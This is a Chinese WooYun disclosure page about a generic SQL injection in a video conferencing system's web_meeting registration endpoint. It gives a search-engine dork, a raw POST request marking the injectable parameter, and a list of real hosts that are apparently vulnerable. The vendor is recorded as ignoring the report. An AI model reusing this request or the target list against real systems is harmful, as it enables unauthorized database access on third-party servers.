当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0103117

漏洞标题：某视频会议系统存在通用型SQL注入（二）

相关厂商：唐桥科技

漏洞作者： YY-2012

提交时间：2015-03-23 13:53

修复时间：2015-05-07 13:54

公开时间：2015-05-07 13:54

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-23： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-07： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

rt

详细说明：

WooYun: 某视频会议系统存在严重信息泄露+通用的SQL注入
唐桥视频会议
谷歌：inurl:web_meeting/index.php

POST /common/web_meeting/index.php?module=register_submit HTTP/1.1
Host: demo.techbridge-inc.com
Proxy-Connection: keep-alive
Content-Length: 339
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://demo.techbridge-inc.com
User-Agent: Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Referer: http://demo.techbridge-inc.com/common/web_meeting/index.php?module=register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: mtUserLanguage1=zh-cn; statistics_clientid=me; lan=zh-cn; PHPSESSID=36ea9ff06b7c8a81bf712794ec793767; Hm_lvt_151d2075cc5777cf38ac9397e51976a0=1427029928; Hm_lpvt_151d2075cc5777cf38ac9397e51976a0=1427029928; lzstat_uv=18629891321522677263|2054985; lzstat_ss=1784646312_0_1427058728_2054985
radiobutton=3&userName=63202&passWord=63202&passWordRepeat=63202&displayName=63202&email=63202%40qq.com&mobile=13800138099&sendType%5B%5D=sms&sendType%5B%5D=email&gId%5B%5D=50&companyAddress=1&provinceId=0&address=%E9%98%BF%E6%96%AF%E9%A1%BF&telNumber=13800138009&companySize=1&industry=1&companyType=1&dateFormat=2&timeFormat=2&checkbox=1

漏洞证明：

Parameter: Array-like #10* ((custom) POST)


aaaaaaaaa11111111111.jpg


案例：

http://huizhi2000.xicp.net/common/web_meeting/index.php?module=bulletin_board
http://211.153.76.137/common/web_meeting/index.php?offsetadd=1&day=10&min=03&year=2015
http://218.108.168.75/common/web_meeting/index.php?module=meeting_info&userId=1&meetId=817308456&siteId=10
http://218.108.168.75/common/web_meeting/index.php?module=meeting_info&meetId=811199287&userId=1&siteId=10&meetingType=2
http://111.11.183.88/common/web_meeting/index.php?module=meeting_room
http://115.236.34.51:9080/common/web_meeting/index.php?module=join_meeting&userId=1&siteId=10
http://demo.techbridge-inc.com/common/web_meeting/index.php?module=register

修复方案：

过滤

版权声明：转载请注明来源 YY-2012@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝